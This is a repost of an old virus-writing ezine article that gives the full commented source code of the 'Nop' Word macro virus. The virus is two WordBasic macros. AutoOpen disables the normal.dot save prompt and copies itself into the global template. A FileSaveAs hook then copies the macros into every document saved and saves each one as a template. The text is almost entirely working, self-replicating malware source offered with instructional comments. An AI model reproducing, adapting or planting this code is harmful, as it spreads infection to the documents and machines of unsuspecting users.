Copy Link
Add to Bookmark
Report

SLAMSP.002: Description of the NOP macro virus

eZine's profile picture
Published in 
Slam
 · 2 years ago

[ WordMacro. Nop ]------------------------------------------------------------ 

˛ VIRUSNAME: Nop
˛ SIZE: 234 Bytes (2 macros)
˛ ORIGIN: Germany
˛ AUTHOR: maybe T.S.? ;-))

Here is the source code of the word macro Nop virus.

Description ==> '....

Macroname: AutoOpen (will always activate if you open any file!)
~~~~~~~~~~~~~~~~~~~
'macro start.
Sub MAIN

'save all changes and the user see nothing.
ToolsOptionsSave .GlobalDotPrompt = 0

'm$ means: active file + macro "NOP"
m$ = FileName$() + ":NOP"

'Copy macro "NOP" to the file normal.dot with the new name "FileSaveAs".
MacroCopy m$, "Global:FileSaveAs"

'm$ means now: active file + macro "AutoOpen"
m$ = FileName$() + ":AutoOpen"

'Copy macro "AutoOpen" now to normal.dot with the new name "NOP".
MacroCopy m$, "Global:NOP"

'macro end.
End Sub

Macroname: NOP
~~~~~~~~~~~~~~
'macro start.
Sub MAIN

'm$ means: active file + macro "AutoOpen"
m$ = FileName$() + ":AutoOpen"

'Copy now macro "NOP" from normal.dot to the active file
'with the new name "AutoOpen"
MacroCopy "Global:NOP", m$

'm$ means now: active file + macro "NOP"
m$ = FileName$() + ":NOP"

'Copy now macro "FileSaveAs" from normal.dot to the active file
'with the new name "NOP"
MacroCopy "Global:FileSaveAs", m$

'Save now the file as a template.
FileSaveAs .Name = FileName$(), .Format = 1
End Sub

OK, I hope you understand this very easy macro virus.

-Nightmare Joker

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT